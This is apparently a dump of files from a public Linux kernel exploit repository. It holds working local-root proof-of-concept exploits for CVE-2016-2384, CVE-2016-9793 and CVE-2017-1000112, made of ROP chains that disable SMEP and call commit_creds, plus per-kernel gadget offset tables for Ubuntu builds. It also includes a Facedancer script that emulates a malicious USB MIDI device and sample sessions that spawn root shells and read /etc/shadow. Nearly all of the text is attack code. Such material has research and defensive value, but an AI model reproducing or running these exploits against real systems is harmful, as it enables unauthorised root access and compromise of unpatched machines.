// register, since this value is used later on to restore rsp.
// The value of CR4_DESIRED_VALUE must have the SMEP bit disabled.
#define COMMIT_CREDS 0xffffffff810957e0L
#define PREPARE_KERNEL_CRED 0xffffffff81095ae0L
#define XCHG_EAX_ESP_RET 0xffffffff8100008aL
#define POP_RDI_RET 0xffffffff8118991dL
#define MOV_DWORD_PTR_RDI_EAX_RET 0xffffffff810fff17L
#define MOV_CR4_RDI_RET 0xffffffff8105b8f0L
#define POP_RCX_RET 0xffffffff810053bcL
#define JMP_RCX 0xffffffff81040a90L
#define CR4_DESIRED_VALUE 0x407f0
// Payload. Saves eax, which holds the 32 lower bits of the old esp value,
// disables SMEP, restores rsp, obtains root, jumps back to the caller.
#define CHAIN_SAVE_EAX \
*stack++ = POP_RDI_RET; \
*stack++ = (uint64_t)&saved_eax; \
*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
#define CHAIN_SET_CR4 \
*stack++ = POP_RDI_RET; \
*stack++ = CR4_DESIRED_VALUE; \
*stack++ = MOV_CR4_RDI_RET; \
#define CHAIN_JMP_PAYLOAD \
*stack++ = POP_RCX_RET; \
*stack++ = (uint64_t)&payload; \
*stack++ = JMP_RCX; \
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
void get_root(void) {
commit_creds(prepare_kernel_cred(0));
}
uint64_t saved_eax;
// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
// can be used to omit a function's prologue, so I had to use this weird
// wrapper hack as a workaround. Note: Clang does support it, which means it
// has better support of GCC attributes than GCC itself. Funny.
void wrapper() {
asm volatile (" \n\
payload: \n\
movq %%rbp, %%rax \n\
movq $0xffffffff00000000, %%rdx \n\
andq %%rdx, %%rax \n\
movq %0, %%rdx \n\
addq %%rdx, %%rax \n\
movq %%rax, %%rsp \n\
jmp get_root \n\
" : : "m"(saved_eax) : );
}
void payload();
// Kernel structs.
struct ubuf_info {
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
uint64_t ctx; // void *
uint64_t desc; // unsigned long
};
struct skb_shared_info {
uint8_t nr_frags; // unsigned char
uint8_t tx_flags; // __u8
uint16_t gso_size; // unsigned short
uint16_t gso_segs; // unsigned short
uint16_t gso_type; // unsigned short
uint64_t frag_list; // struct sk_buff *
uint64_t hwtstamps; // struct skb_shared_hwtstamps
uint32_t tskey; // u32
uint32_t ip6_frag_id; // __be32
uint32_t dataref; // atomic_t
uint64_t destructor_arg; // void *
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
};
#define MIDI_MAX_ENDPOINTS 2
struct snd_usb_midi {
uint8_t bullshit[240];
struct snd_usb_midi_endpoint {
uint64_t out; // struct snd_usb_midi_out_endpoint *
uint64_t in; // struct snd_usb_midi_in_endpoint *
} endpoints[MIDI_MAX_ENDPOINTS];
// More bullshit.
};
// Init buffer for overwriting a skbuff object.
struct ubuf_info ui;
void init_buffer(char* buffer) {
struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[192];
struct snd_usb_midi *midi = (struct snd_usb_midi *)&buffer[0];
int i;
ssi->tx_flags = 0xff;
ssi->destructor_arg = (uint64_t)&ui;
ui.callback = XCHG_EAX_ESP_RET;
// Prevents some crashes.
ssi->nr_frags = 0;
// Prevents some crashes.
ssi->frag_list = 0;
// Prevents some crashes.
for (i = 0; i < MIDI_MAX_ENDPOINTS; i++) {
midi->endpoints[i].out = 0;
midi->endpoints[i].in = 0;
}
}
// Map a fake stack where the ROP payload resides.
void mmap_stack() {
uint64_t stack_addr;
int stack_offset;
uint64_t* stack;
int page_size;
page_size = getpagesize();
stack_addr = (XCHG_EAX_ESP_RET & 0x00000000ffffffffL) & ~(page_size - 1);
stack_offset = XCHG_EAX_ESP_RET % page_size;
stack = mmap((void *)stack_addr, page_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (stack == MAP_FAILED) {
perror("[-] mmap()");
exit(EXIT_FAILURE);
}
stack = (uint64_t *)((char *)stack + stack_offset);
CHAIN_SAVE_EAX;
CHAIN_SET_CR4;
CHAIN_JMP_PAYLOAD;
}
// Sending control messages.
int socket_open(int port) {
int sock;
struct sockaddr_in sa;
sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock == -1) {
perror("[-] socket()");
exit(EXIT_FAILURE);
}
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sa.sin_port = htons(port);
if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
perror("[-] connect()");
exit(EXIT_FAILURE);
}
return sock;
}
void socket_close(int sock) {
close(sock);
}
void socket_sendmmsg(int sock) {
struct mmsghdr msg[1];
struct iovec msg2;
int rv;
char buffer[512];
memset(&msg2, 0, sizeof(msg2));
msg2.iov_base = &buffer[0];
msg2.iov_len = 512;
memset(msg, 0, sizeof(msg));
msg[0].msg_hdr.msg_iov = &msg2;
msg[0].msg_hdr.msg_iovlen = 1;
memset(&buffer[0], 0xa1, 512);
struct cmsghdr *hdr = (struct cmsghdr *)&buffer[0];
hdr->cmsg_len = 512;
hdr->cmsg_level = SOL_IP + 1;
init_buffer(&buffer[0]);
msg[0].msg_hdr.msg_control = &buffer[0];
msg[0].msg_hdr.msg_controllen = 512;
rv = syscall(__NR_sendmmsg, sock, msg, 1, 0);
if (rv == -1) {
perror("[-] sendmmsg()");
exit(EXIT_FAILURE);
}
}
// Allocating and freeing skbuffs.
struct sockaddr_in server_si_self;
struct sockaddr_in client_si_other;
int init_server(int port) {
int sock;
int rv;
sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (sock == -1) {
perror("[-] socket()");
exit(EXIT_FAILURE);
}
memset(&server_si_self, 0, sizeof(server_si_self));
server_si_self.sin_family = AF_INET;
server_si_self.sin_port = htons(port);
server_si_self.sin_addr.s_addr = htonl(INADDR_ANY);
rv = bind(sock, (struct sockaddr *)&server_si_self,
sizeof(server_si_self));
if (rv == -1) {
perror("[-] bind()");
exit(EXIT_FAILURE);
}
return sock;
}
int init_client(int port) {
int sock;
int rv;
sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (sock == -1) {
perror("[-] socket()");
exit(EXIT_FAILURE);
}
memset(&client_si_other, 0, sizeof(client_si_other));
client_si_other.sin_family = AF_INET;
client_si_other.sin_port = htons(port);
rv = inet_aton("127.0.0.1", &client_si_other.sin_addr);
if (rv == 0) {
perror("[-] inet_aton()");
exit(EXIT_FAILURE);
}
return sock;
}
void client_send_message(int sock) {
int rv;
// Messages of 128 bytes result in 512 bytes skbuffs.
char sent_message[128] = { 0x10 };
rv = sendto(sock, &sent_message[0], 128, 0,
(struct sockaddr *)&client_si_other,
sizeof(client_si_other));
if (rv == -1) {
perror("[-] sendto()");
exit(EXIT_FAILURE);
}
}
void destroy_server(int sock) {
close(sock);
}
void destroy_client(int sock) {
close(sock);
}
// Checking root.
void exec_shell() {
char *args[] = {"/bin/sh", "-i", NULL};
execve("/bin/sh", args, NULL);
}
void fork_shell() {
pid_t rv;
rv = fork();
if (rv == -1) {
perror("[-] fork()");
exit(EXIT_FAILURE);
}
if (rv == 0) {
exec_shell();
}
while (true) {
sleep(1);
}
}
bool is_root() {
return getuid() == 0;
}
void check_root() {
if (!is_root())
return;
printf("[+] got r00t: uid=%d, euid=%d\n", getuid(), geteuid());
// Fork and exec instead of just doing the exec to avoid freeing skbuffs
// and prevent some crashes due to a allocator corruption.
fork_shell();
}
// Main.
#define PORT_BASE_1 4100
#define PORT_BASE_2 4200
#define PORT_BASE_3 4300
#define SKBUFFS_NUM 64
#define MMSGS_NUM 256
int server_sock;
int client_sock;
void step_begin(int id) {
int i;
server_sock = init_server(PORT_BASE_2 + id);
client_sock = init_client(PORT_BASE_2 + id);
for (i = 0; i < SKBUFFS_NUM; i++) {
client_send_message(client_sock);
}
for (i = 0; i < MMSGS_NUM; i++) {
int sock = socket_open(PORT_BASE_3 + id);
socket_sendmmsg(sock);
socket_close(sock);
}
}
void step_end(int id) {
destroy_server(server_sock);
destroy_client(client_sock);
}
void body(int id) {
int server_sock, client_sock, i;
server_sock = init_server(PORT_BASE_1 + id);
client_sock = init_client(PORT_BASE_1 + id);
for (i = 0; i < 512; i++)
client_send_message(client_sock);
while (true) {
step_begin(id);
check_root();
step_end(id);
}
}
bool parse_int(const char *input, int *output) {
char* wrong_token = NULL;
int result = strtol(input, &wrong_token, 10);
if (*wrong_token != '\0') {
return false;
}
*output = result;
return true;
}
int main(int argc, char **argv) {
bool rv;
int id;
if (argc != 2) {
printf("Usage: %s <instance_id>\n", argv[0]);
return EXIT_SUCCESS;
}
rv = parse_int(argv[1], &id);
if (!rv) {
printf("Usage: %s <instance_id>\n", argv[0]);
return EXIT_SUCCESS;
}
printf("[+] starting as: uid=%d, euid=%d\n", getuid(), geteuid());
printf("[+] payload addr: %p\n", &payload);
mmap_stack();
printf("[+] fake stack mmaped\n");
printf("[+] plug in the usb device...\n");
body(id);
return EXIT_SUCCESS;
}

71
2016/CVE-2016-2384/poc.py Executable file
View File

@ -0,0 +1,71 @@
#!/usr/bin/env python3
# A part of the proof-of-concept exploit for the vulnerability in the usb-midi
# driver. Can be used on it's own for a denial of service attack. Should be
# used in conjuction with a userspace part for an arbitrary code execution
# attack.
#
# Requires a Facedancer21 board
# (http://goodfet.sourceforge.net/hardware/facedancer21/).
#
# Andrey Konovalov <anreyknvl@gmail.com>
from USB import *
from USBDevice import *
from USBConfiguration import *
from USBInterface import *
class PwnUSBDevice(USBDevice):
name = "USB device"
def __init__(self, maxusb_app, verbose=0):
interface = USBInterface(
0, # interface number
0, # alternate setting
255, # interface class
0, # subclass
0, # protocol
0, # string index
verbose,
[],
{}
)
config = USBConfiguration(
1, # index
"Emulated Device", # string desc
[ interface ] # interfaces
)
USBDevice.__init__(
self,
maxusb_app,
0, # device class
0, # device subclass
0, # protocol release number
64, # max packet size for endpoint 0
0x0763, # vendor id
0x1002, # product id
0, # device revision
"Midiman", # manufacturer string
"MidiSport 2x2", # product string
"?", # serial number string
[ config ],
verbose=verbose
)
from Facedancer import *
from MAXUSBApp import *
sp = GoodFETSerialPort()
fd = Facedancer(sp, verbose=1)
u = MAXUSBApp(fd, verbose=1)
d = PwnUSBDevice(u, verbose=4)
d.connect()
try:
d.run()
except KeyboardInterrupt:
d.disconnect()

12
2016/CVE-2016-9793/README.md Executable file
View File

@ -0,0 +1,12 @@
CVE-2016-9793
=============
- [CVE-2016-9793](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-9793)
This is a proof-of-concept local root exploit for the vulnerability in the SO\_SNDBUFFORCE and SO\_RCVBUFFORCE socket options implementation [CVE-2016-9793](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-9793).
Requires CAP\_NET\_ADMIN capability.
Timeline:
* 2016-12-01: Bug reported to security@kernel org
* 2016-12-02: [Patch committed to mainline kernel](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b98b0bc8c431e3ceb4b26b0dfc8db509518fb290)
* 2017-03-22: [Exploit published](https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793)

176
2016/CVE-2016-9793/poc.c Executable file
View File

@ -0,0 +1,176 @@
// CAP_NET_ADMIN -> root LPE exploit for CVE-2016-9793
// No KASLR, SMEP or SMAP bypass included
// Affected kernels: 3.11 -> 4.8
// Tested in QEMU only
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793
//
// Usage:
// # gcc -pthread exploit.c -o exploit
// # chown guest:guest exploit
// # setcap cap_net_admin+ep ./exploit
// # su guest
// $ whoami
// guest
// $ ./exploit
// [.] userspace payload mmapped at 0xfffff000
// [.] overwriting thread started
// [.] sockets opened
// [.] sock->sk_sndbuf set to fffffe00
// [.] writing to socket
// [+] got r00t
// # whoami
// root
//
// Andrey Konovalov <andreyknvl@gmail.com>
#define _GNU_SOURCE
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define COMMIT_CREDS 0xffffffff81079860ul
#define PREPARE_KERNEL_CRED 0xffffffff81079b20ul
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
void get_root(void) {
commit_creds(prepare_kernel_cred(0));
}
struct ubuf_info_t {
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
uint64_t ctx; // void *
uint64_t desc; // unsigned long
};
struct skb_shared_info_t {
uint8_t nr_frags; // unsigned char
uint8_t tx_flags; // __u8
uint16_t gso_size; // unsigned short
uint16_t gso_segs; // unsigned short
uint16_t gso_type; // unsigned short
uint64_t frag_list; // struct sk_buff *
uint64_t hwtstamps; // struct skb_shared_hwtstamps
uint32_t tskey; // u32
uint32_t ip6_frag_id; // __be32
uint32_t dataref; // atomic_t
uint64_t destructor_arg; // void *
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
};
// sk_sndbuf = 0xffffff00 => skb_shinfo(skb) = 0x00000000fffffed0
#define SNDBUF 0xffffff00
#define SHINFO 0x00000000fffffed0ul
struct ubuf_info_t ubuf_info = {(uint64_t)&get_root, 0, 0};
//struct ubuf_info_t ubuf_info = {0xffffdeaddeadbeeful, 0, 0};
struct skb_shared_info_t *skb_shared_info = (struct skb_shared_info_t *)SHINFO;
#define SKBTX_DEV_ZEROCOPY (1 << 3)
void* skb_thr(void* arg) {
while (1) {
skb_shared_info->destructor_arg = (uint64_t)&ubuf_info;
skb_shared_info->tx_flags |= SKBTX_DEV_ZEROCOPY;
}
}
int sockets[2];
void *write_thr(void *arg) {
// Write blocks until setsockopt(SO_SNDBUF).
write(sockets[1], "\x5c", 1);
if (getuid() == 0) {
printf("[+] got r00t\n");
execl("/bin/bash", "bash", NULL);
perror("execl()");
}
printf("[-] something went wrong\n");
}
int main() {
void *addr;
int rv;
uint32_t sndbuf;
addr = mmap((void *)(SHINFO & 0xfffffffffffff000ul), 0x1000ul,
PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE,
-1, 0);
if (addr != (void *)(SHINFO & 0xfffffffffffff000ul)) {
perror("mmap()");
exit(EXIT_FAILURE);
}
printf("[.] userspace payload mmapped at %p\n", addr);
pthread_t skb_th;
rv = pthread_create(&skb_th, 0, skb_thr, NULL);
if (rv != 0) {
perror("pthread_create()");
exit(EXIT_FAILURE);
}
usleep(10000);
printf("[.] overwriting thread started\n");
rv = socketpair(AF_LOCAL, SOCK_STREAM, 0, &sockets[0]);
if (rv != 0) {
perror("socketpair()");
exit(EXIT_FAILURE);
}
printf("[.] sockets opened\n");
sndbuf = SNDBUF;
rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUFFORCE,
&sndbuf, sizeof(sndbuf));
if (rv != 0) {
perror("setsockopt()");
exit(EXIT_FAILURE);
}
printf("[.] sock->sk_sndbuf set to %x\n", SNDBUF * 2);
pthread_t write_th;
rv = pthread_create(&write_th, 0, write_thr, NULL);
if (rv != 0) {
perror("pthread_create()");
exit(EXIT_FAILURE);
}
usleep(10000);
printf("[.] writing to socket\n");
// Wake up blocked write.
rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUF,
&sndbuf, sizeof(sndbuf));
if (rv != 0) {
perror("setsockopt()");
exit(EXIT_FAILURE);
}
usleep(10000);
close(sockets[0]);
close(sockets[1]);
return 0;
}

67
2016/CVE-2016-9793/trigger.c Executable file
View File

@ -0,0 +1,67 @@
#define _GNU_SOURCE
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int sockets[2];
void *write_thr(void *arg) {
// Write blocks until setsockopt(SO_SNDBUF).
write(sockets[1], "\x5c", 1);
}
int main() {
void *addr;
int rv;
uint32_t sndbuf;
rv = socketpair(AF_LOCAL, SOCK_STREAM, 0, &sockets[0]);
if (rv != 0) {
perror("socketpair()");
exit(EXIT_FAILURE);
}
sndbuf = 0xffffff00;
rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUFFORCE,
&sndbuf, sizeof(sndbuf));
if (rv != 0) {
perror("setsockopt()");
exit(EXIT_FAILURE);
}
pthread_t write_th;
rv = pthread_create(&write_th, 0, write_thr, NULL);
if (rv != 0) {
perror("pthread_create()");
exit(EXIT_FAILURE);
}
usleep(10000);
// Wake up blocked write.
rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUF,
&sndbuf, sizeof(sndbuf));
if (rv != 0) {
perror("setsockopt()");
exit(EXIT_FAILURE);
}
usleep(10000);
close(sockets[0]);
close(sockets[1]);
return 0;
}

28
2017/CVE-2017-1000112/README.md Executable file
View File

@ -0,0 +1,28 @@
CVE-2017-1000112
================
```
When building a UFO packet with MSG_MORE __ip_append_data() calls ip_ufo_append_data() to append. However in between two
send() calls, the append path can be switched from UFO to non-UFO one, which leads to a memory corruption.
In case UFO packet lengths exceeds MTU, copy = maxfraglen - skb->len becomes negative on the non-UFO path and the branch to
allocate new skb is taken. This triggers fragmentation and computation of fraggap = skb_prev->len - maxfraglen. Fraggap can
exceed MTU, causing copy = datalen - transhdrlen - fraggap to become negative. Subsequently skb_copy_and_csum_bits() writes
out-of-bounds.
A similar issue is present in IPv6 code.
The bug was introduced in e89e9cf539a2 ("[IPv4/IPv6]: UFO Scatter-gather approach") on Oct 18 2005.
The fix has been submitted to netdev [1] and should be committed to mainline and to stable kernels soon. David has also sent
an RFC series to remove UFO completely [2], which should be merged in 4.14.
If unprivileged user namespaces are available, this bug can be exploited to gain root privileges. I'll share the details and
the exploit in a few days.
```
This is a proof-of-concept local root exploit for the vulnerability in the UFO Linux kernel implementation CVE-2017-1000112.
Some details: http://www.openwall.com/lists/oss-security/2017/08/13/1

668
2017/CVE-2017-1000112/poc.c Executable file
View File

@ -0,0 +1,668 @@
// A proof-of-concept local root exploit for CVE-2017-1000112.
// Includes KASLR and SMEP bypasses. No SMAP bypass.
// Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels.
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
// user@ubuntu:~$ whoami
// user
// user@ubuntu:~$ id
// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn
// [.] starting
// [.] checking distro and kernel versions
// [.] kernel version '4.8.0-58-generic' detected
// [~] done, versions looks good
// [.] checking SMEP and SMAP
// [~] done, looks good
// [.] setting up namespace sandbox
// [~] done, namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [~] done, kernel text: ffffffffae400000
// [.] commit_creds: ffffffffae4a5d20
// [.] prepare_kernel_cred: ffffffffae4a6110
// [.] SMEP bypass enabled, mmapping fake stack
// [~] done, fake stack mmapped
// [.] executing payload ffffffffae40008d
// [~] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# whoami
// root
// root@ubuntu:/home/user# id
// uid=0(root) gid=0(root) groups=0(root)
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// sys:*:17212:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>
#define _GNU_SOURCE
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/socket.h>
#include <netinet/ip.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#define ENABLE_KASLR_BYPASS 1
#define ENABLE_SMEP_BYPASS 1
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
// Will be overwritten by detect_versions().
int kernel = -1;
struct kernel_info {
const char* distro;
const char* version;
uint64_t commit_creds;
uint64_t prepare_kernel_cred;
uint64_t xchg_eax_esp_ret;
uint64_t pop_rdi_ret;
uint64_t mov_dword_ptr_rdi_eax_ret;
uint64_t mov_rax_cr4_ret;
uint64_t neg_rax_ret;
uint64_t pop_rcx_ret;
uint64_t or_rax_rcx_ret;
uint64_t xchg_eax_edi_ret;
uint64_t mov_cr4_rdi_ret;
uint64_t jmp_rcx;
};
struct kernel_info kernels[] = {
{ "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
{ "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
{ "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
{ "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
{ "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
